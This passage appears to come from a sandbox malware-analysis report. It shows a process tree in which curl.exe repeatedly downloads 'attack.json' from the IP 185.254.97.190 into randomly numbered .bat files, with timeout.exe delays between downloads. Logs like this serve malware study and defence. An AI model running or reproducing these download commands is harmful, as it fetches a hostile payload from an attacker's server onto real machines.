  PID:3676
- C:\Windows\system32\curl.exe
  curl -o 19772.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3780
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4008
- C:\Windows\system32\curl.exe
  curl -o 10907.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2656
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2400
- C:\Windows\system32\curl.exe
  curl -o 27563.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1128
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1240
- C:\Windows\system32\curl.exe
  curl -o 31133.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1036
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1256
- C:\Windows\system32\curl.exe
  curl -o 1619.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:32
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1004
- C:\Windows\system32\curl.exe
  curl -o 32449.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:184
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1912
- C:\Windows\system32\curl.exe
  curl -o 13111.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2592
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3272
- C:\Windows\system32\curl.exe
  curl -o 4161.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:556
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1644
- C:\Windows\system32\curl.exe
  curl -o 20175.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4524
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3864
- C:\Windows\system32\curl.exe
  curl -o 853.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2316
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4824
- C:\Windows\system32\curl.exe
  curl -o 419.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1660
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3664
- C:\Windows\system32\curl.exe
  curl -o 11724.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1076
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1956
- C:\Windows\system32\curl.exe
  curl -o 1029.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:444
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2232
- C:\Windows\system32\curl.exe
  curl -o 16743.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3532
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3392
- C:\Windows\system32\curl.exe
  curl -o 6282.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:908
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5060
- C:\Windows\system32\curl.exe
  curl -o 14072.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3524
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4640
- C:\Windows\system32\curl.exe
  curl -o 15132.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2176
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2244
- C:\Windows\system32\curl.exe
  curl -o 28566.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4560
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:572
- C:\Windows\system32\curl.exe
  curl -o 12774.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4356
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3680
- C:\Windows\system32\curl.exe
  curl -o 9323.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:628
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4860
- C:\Windows\system32\curl.exe
  curl -o 22126.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3876
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5100
- C:\Windows\system32\curl.exe
  curl -o 16862.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4852
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1624
- C:\Windows\system32\curl.exe
  curl -o 24719.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2912
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1616
- C:\Windows\system32\curl.exe
  curl -o 28974.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2136
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3464
- C:\Windows\system32\curl.exe
  curl -o 2609.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1516
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2348
- C:\Windows\system32\curl.exe
  curl -o 27570.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4916
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1192
- C:\Windows\system32\curl.exe
  curl -o 23038.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3300
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4728
- C:\Windows\system32\curl.exe
  curl -o 19808.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1712
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2052
- C:\Windows\system32\curl.exe
  curl -o 5207.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:436
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3248
- C:\Windows\system32\curl.exe
  curl -o 2123.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3260
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4932
- C:\Windows\system32\curl.exe
  curl -o 3415.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2032
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:372
- C:\Windows\system32\curl.exe
  curl -o 26924.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3548
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3648
- C:\Windows\system32\curl.exe
  curl -o 11186.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4352
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4144
- C:\Windows\system32\curl.exe
  curl -o 23871.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3484
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:376
- C:\Windows\system32\curl.exe
  curl -o 11175.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1752
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3676
- C:\Windows\system32\curl.exe
  curl -o 27640.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:392
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4008
- C:\Windows\system32\curl.exe
  curl -o 27228.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4536
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1096
- C:\Windows\system32\curl.exe
  curl -o 11093.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:656
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2400
- C:\Windows\system32\curl.exe
  curl -o 1385.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1128
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1720
- C:\Windows\system32\curl.exe
  curl -o 27615.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1124
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1256
- C:\Windows\system32\curl.exe
  curl -o 14166.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:948
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4308
- C:\Windows\system32\curl.exe
  curl -o 408.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1116
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3284
- C:\Windows\system32\curl.exe
  curl -o 24912.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2160
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4844
- C:\Windows\system32\curl.exe
  curl -o 31074.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2892
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4168
- C:\Windows\system32\curl.exe
  curl -o 29551.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1644
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:888
- C:\Windows\system32\curl.exe
  curl -o 18090.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3632
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4820
- C:\Windows\system32\curl.exe
  curl -o 12352.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2888
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4156
- C:\Windows\system32\curl.exe
  curl -o 4954.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1656
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1076
- C:\Windows\system32\curl.exe
  curl -o 28008.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1660
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:380
- C:\Windows\system32\curl.exe
  curl -o 27739.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1416
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3132
- C:\Windows\system32\curl.exe
  curl -o 17053.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3900
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4736
- C:\Windows\system32\curl.exe
  curl -o 5937.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4996
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1432
- C:\Windows\system32\curl.exe
  curl -o 24917.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3504
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4640
- C:\Windows\system32\curl.exe
  curl -o 378.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4964
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:980
- C:\Windows\system32\curl.exe
  curl -o 25289.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4440
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:572
- C:\Windows\system32\curl.exe
  curl -o 338.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4444
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3680
- C:\Windows\system32\curl.exe
  curl -o 1862.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3448
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4080
- C:\Windows\system32\curl.exe
  curl -o 5612.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1156
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4684
- C:\Windows\system32\curl.exe
  curl -o 30952.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2624
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2020
- C:\Windows\system32\curl.exe
  curl -o 4574.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4808
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3340
- C:\Windows\system32\curl.exe
  curl -o 29991.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2660
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3844
- C:\Windows\system32\curl.exe
  curl -o 9466.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1428
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2352
- C:\Windows\system32\curl.exe
  curl -o 7143.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4664
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3444
- C:\Windows\system32\curl.exe
  curl -o 10657.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:868
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:420
- C:\Windows\system32\curl.exe
  curl -o 22501.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1788
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3000
- C:\Windows\system32\curl.exe
  curl -o 31215.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:416
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1496
- C:\Windows\system32\curl.exe
  curl -o 13244.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2240
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3080
- C:\Windows\system32\curl.exe
  curl -o 29508.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2472
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3148
- C:\Windows\system32\curl.exe
  curl -o 18387.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5052
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1540
- C:\Windows\system32\curl.exe
  curl -o 17123.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2708
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1420
- C:\Windows\system32\curl.exe
  curl -o 4335.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4976
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1776
- C:\Windows\system32\curl.exe
  curl -o 11460.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:996
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3780
- C:\Windows\system32\curl.exe
  curl -o 15435.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1040
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:764
- C:\Windows\system32\curl.exe
  curl -o 17874.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4040
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4520
- C:\Windows\system32\curl.exe
  curl -o 7513.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:656
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4004
- C:\Windows\system32\curl.exe
  curl -o 9507.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4104
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:940
- C:\Windows\system32\curl.exe
  curl -o 25240.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1124
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2988
- C:\Windows\system32\curl.exe
  curl -o 27633.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3020
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1324
- C:\Windows\system32\curl.exe
  curl -o 2604.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4632
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2260
- C:\Windows\system32\curl.exe
  curl -o 16989.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4844
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3280
- C:\Windows\system32\curl.exe
  curl -o 23571.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4548
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2228
- C:\Windows\system32\curl.exe
  curl -o 5953.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1716
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2172
- C:\Windows\system32\curl.exe
  curl -o 7987.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1672
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3496
- C:\Windows\system32\curl.exe
  curl -o 9117.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2508
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:840
- C:\Windows\system32\curl.exe
  curl -o 10125.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2180
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4652
- C:\Windows\system32\curl.exe
  curl -o 30308.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4508
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2996
- C:\Windows\system32\curl.exe
  curl -o 3931.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1416
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3392
- C:\Windows\system32\curl.exe
  curl -o 13233.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2208
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2868
- C:\Windows\system32\curl.exe
  curl -o 14829.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4420
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2440
- C:\Windows\system32\curl.exe
  curl -o 19120.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1968
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1884
- C:\Windows\system32\curl.exe
  curl -o 30323.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2680
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4380
- C:\Windows\system32\curl.exe
  curl -o 16315.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:628
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4860
- C:\Windows\system32\curl.exe
  curl -o 2586.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2936
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5100
- C:\Windows\system32\curl.exe
  curl -o 21634.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2700
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2020
- C:\Windows\system32\curl.exe
  curl -o 25648.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1500
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4940
- C:\Windows\system32\curl.exe
  curl -o 26154.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4388
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1516
- C:\Windows\system32\curl.exe
  curl -o 5148.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1428
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:688
- C:\Windows\system32\curl.exe
  curl -o 22996.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2984
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1712
- C:\Windows\system32\curl.exe
  curl -o 6260.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:868
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3356
- C:\Windows\system32\curl.exe
  curl -o 29161.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4556
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5088
- C:\Windows\system32\curl.exe
  curl -o 6014.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1452
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5008
- C:\Windows\system32\curl.exe
  curl -o 31506.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:624
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4016
- C:\Windows\system32\curl.exe
  curl -o 21711.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2872
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4432
- C:\Windows\system32\curl.exe
  curl -o 30166.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3668
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2080
- C:\Windows\system32\curl.exe
  curl -o 5366.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1744
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1828
- C:\Windows\system32\curl.exe
  curl -o 18986.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1208
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1832
- C:\Windows\system32\curl.exe
  curl -o 26439.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4580
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4288
- C:\Windows\system32\curl.exe
  curl -o 15478.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1664
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5112
- C:\Windows\system32\curl.exe
  curl -o 20296.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:408
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1096
- C:\Windows\system32\curl.exe
  curl -o 22499.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4040
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1332
- C:\Windows\system32\curl.exe
  curl -o 21076.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1308
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1272
- C:\Windows\system32\curl.exe
  curl -o 24551.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3304
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1256
- C:\Windows\system32\curl.exe
  curl -o 21351.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4192
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2988
- C:\Windows\system32\curl.exe
  curl -o 11119.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:948
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1060
- C:\Windows\system32\curl.exe
  curl -o 13871.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4252
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2160
- C:\Windows\system32\curl.exe
  curl -o 7702.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2184
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3280
- C:\Windows\system32\curl.exe
  curl -o 19421.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:556
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1644
- C:\Windows\system32\curl.exe
  curl -o 22595.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2632
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2172
- C:\Windows\system32\curl.exe
  curl -o 24396.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1360
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3632
- C:\Windows\system32\curl.exe
  curl -o 15666.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2508
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:632
- C:\Windows\system32\curl.exe
  curl -o 9070.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3932
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2248
- C:\Windows\system32\curl.exe
  curl -o 9766.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2232
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2072
- C:\Windows\system32\curl.exe
  curl -o 7717.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1416
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3900
- C:\Windows\system32\curl.exe
  curl -o 5216.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:736
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1356
- C:\Windows\system32\curl.exe
  curl -o 15096.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4420
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2440
- C:\Windows\system32\curl.exe
  curl -o 32648.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4560
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:180
- C:\Windows\system32\curl.exe
  curl -o 19514.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4656
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4024
- C:\Windows\system32\curl.exe
  curl -o 3248.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3396
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4860
- C:\Windows\system32\curl.exe
  curl -o 13982.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1156
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4684
- C:\Windows\system32\curl.exe
  curl -o 6678.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2340
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4400
- C:\Windows\system32\curl.exe
  curl -o 8790.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2588
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1300
- C:\Windows\system32\curl.exe
  curl -o 11855.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4672
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2876
- C:\Windows\system32\curl.exe
  curl -o 9765.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1148
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2032
- C:\Windows\system32\curl.exe
  curl -o 3467.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4396
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2980
- C:\Windows\system32\curl.exe
  curl -o 17427.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2912
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1428
- C:\Windows\system32\curl.exe
  curl -o 3583.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:688
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3468
- C:\Windows\system32\curl.exe
  curl -o 3230.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3348
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
